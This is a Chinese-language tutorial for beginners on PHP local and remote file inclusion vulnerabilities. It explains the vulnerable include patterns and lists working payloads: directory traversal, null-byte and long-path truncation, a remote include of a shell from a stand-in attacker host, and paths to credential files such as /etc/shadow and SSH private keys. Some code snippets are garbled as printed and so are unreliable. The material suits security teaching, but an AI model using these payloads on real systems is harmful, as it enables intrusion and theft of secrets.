PHP文件包含介紹及一些利用方式
本文搜集了一些前人的總結,主要介紹了PHP本地和遠程文件包含,以及其利用方式。 主要供信息安全初學者閱讀。
文件包含介紹
嚴格來說,文件包含漏洞是「代碼注入「的一種。代碼注入的原理就是注入一段用戶能控制的腳本或代碼,並讓服務端執行。
代碼注入的典型代表就是文件包含。文件包含可能會出現在JSP、PHP、ASP等語言中。
常見的導致文件包含的函數如下:
PHP: include(), include_once(), require(),require_once, fopen(), readfile() ….
JSP/Servlet: ava.io.File(),java.io.FileReader() …
ASP:include file, include virtual…
PHP文件包含主要由這四個函數完成:
include()
require()
include_once()
require_once()
當使用這4個函數包含一個新的文件時,該文件將作為PHP代碼執行,PHP內核並不會在意該被包含文件是什麼類型。所以如果被包含的是txt文件、圖片文件、遠程URL,也都將作為PHP代碼執行。
比如DVWA low等級的文件上傳
<?php include($_GET[page]);?>n
在同目錄留一個包含了可執行的PHP代碼的txt文件
再執行漏洞URL,發現代碼被執行了
要成功的利用文件包含漏洞,需要滿足下面兩個條件:
include()等函數通過動態變數的方式引入需要包含的文件
用戶能夠控制該動態變數
下面我們深入看看文件包含漏洞還能導致哪些後果
本地文件包含
普通本地文件包含
能夠打開並包含本地文件的漏洞,被稱為本地文件包含漏洞(Local File Inclusion/LFI)。比如下面這段代碼就存在LFI漏洞。
<?phpnfile = _GET[『file』]; // 「../../etc/passwd0nif (file_exisits(『/home/wwwrun/』.$file.』.php』)) {n //file_exists will return true as the file/home/wwwrun/../../etc/passwd exists n Include『/home/wwwrun/』.$file.』.php』;n // the file /etc/passwd will be includedn}n?>n
用戶能夠控制參數file。當file的值為../../etc/passwd時,PHP將訪問/etc/passwd文件。
但是在此之前,還需要解決Include『/home/wwwrun/』.$file.』.php』;
這種寫法將變數與字元串連接起來,假如用戶控制$file的值為../../etc/passwd,這段代碼相當於Include『/home/wwwrun/../../etc/passwd.php』;
被包含的文件實際上是/etc/passwd.php,但是實際上這個文件是不存在的
有限制的本地文件包含
%00截斷
PHP內核是由C語言實現的,因此使用了C語言中 的一些字元串處理函數。在連接字元串時,0位元組(x00)將作為字元串結束符。所以在這個地方,只要在最後加入一個0位元組,就能截斷file變數之後的字元串,即
../../etc/passwd0
在Web輸入時只需URL編碼一下,變成
../../etc/passwd%00
(需要 magic_quotes_gpc=off,PHP小於5.3.4有效)
%00截斷目錄遍歷
?file=../../../../../../../../../var/www/%00
(需要 magic_quotes_gpc=off,unix文件系統,比如FreeBSD,OpenBSD,NetBSD,Solaris)
防禦%00截斷
在一般的Web應用中,0位元組是用戶不需要的,因此可以完全禁用0位元組,比如:
<?phpnfunction getVar($name){n value =isset(GET[name] ? GET[$name] : null; n if(is_string($value)){n value= str_replace(「0」, 『 『 , value); n }n}n?>n
構造長目錄截斷
但是光防禦0位元組是肯定不夠的。俗話說上有政策下有對策,國內的安全研究者cloie發現了一個技巧——利用操作系統對目錄最大長度的限制,可以不需要0位元組而達到截斷的目的。
目錄字元串在Windows下256位元組、Linux下4096位元組時達到最大值,最大值長度之後的字元將被丟棄。
而只需通過【./】就可以構造出足夠長的目錄。比如
././././././././././././././././passwd
或者
////////////////////////passwd
又或者
../1/abc/../1/abc/../1/abc..
(php版本小於5.2.8(?)可以成功,linux需要文件名長於4096,windows需要長於256)
點號截斷
?file=../../../../../../../../../boot.ini/………[…]…………
(php版本小於5.2.8(?)可以成功,只適用windows,點號需要長於256)
普通遠程文件包含
如果PHP的配置選項allow_url_include為ON的話(默認是關閉的),則include/require函數是可以載入遠程文件的,這種漏洞被稱為遠程文件包含漏洞(Remote File Inclusion,簡稱RFI)
例如:
<?phpnif($route == "share"){n require_once $basePath ./action/m_share.php;n}nelseif($route == "sharelink"){n require_once $basePath ./action/m_sharelink.php;}n?>n
在$basePath前沒有設置任何障礙,因此攻擊者可以構造類似如下的惡意URL:
/?param=http://attacker/phpshell.txt?n
最終載入的代碼實際上執行了:
require_once http://attacker/phpshell.txt?/action/m_share.php;n
問號後面的代碼最終被解釋成URL的querystring(查詢用字元串),這也算一種截斷方式,這是利用遠程文件包含漏洞時的常見技巧。同樣,%00也可以作為截斷符號。
本地文件包含的利用技巧
本地文件包含漏洞,是有機會執行php代碼的,但這取決於一些條件
經過不懈研究,安全研究者總結出了一下幾種常見的技巧,用於本地文件包含後執行php代碼。
(1)包含用戶上傳的文件
(2)包含data://或php://input等偽協議
(3)包含session文件
(4)包含日誌文件
(5)包含/proc/self/environ
(6)包含上傳的臨時文件
(7)包含其他應用創建的文件,如資料庫文件,緩存文件,應用日誌等,需具體問題具體分析
常見利用方式
<?phpinclude("inc/" . $_GET[file]); ?>
包含同目錄下的文件:
?file=.htaccess
目錄遍歷:
?file=../../../../../../../../../var/lib/locate.db
?file=../../../../../../../../../var/lib/mlocate/mlocate.db
(linux中這兩個文件儲存著所有文件的路徑,需要root許可權)
包含錯誤日誌:?file=../../../../../../../../../var/log/apache/error.log (試試把UA設置為「」來使payload進入日誌)
獲取web目錄或者其他配置文件:
?file=../../../../../../../../../usr/local/apache2/conf/httpd.conf
包含上傳的附件:
?file=../attachment/media/xxx.file
讀取session文件:
?file=../../../../../../tmp/sess_tnrdo9ub2tsdurntv0pdir1no7
(session文件一般在/tmp目錄下,格式為sess_[your phpsessid value],有時候也有可能在/var/lib/php5之類的,在此之前建議先讀取配置文件。在某些特定的情況下如果你能夠控制session的值,也許你能夠獲得一個shell)
如果擁有root許可權還可以試試讀這些東西:
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_rsa.keystore
/root/.ssh/id_rsa.pub
/root/.ssh/known_hosts
/etc/shadow
/root/.bash_history
/root/.mysql_history
/proc/self/fd/fd[0-9]* (文件標識符)
/proc/mounts
/proc/config.gz
- 如果有phpinfo可以包含臨時文件:
參考:
[1]《白帽子講Web安全》,吳翰清
[2]PHP文件包含漏洞總結 - wangjian1012的博客 - 博客頻道 - CSDN.NET
推薦閱讀: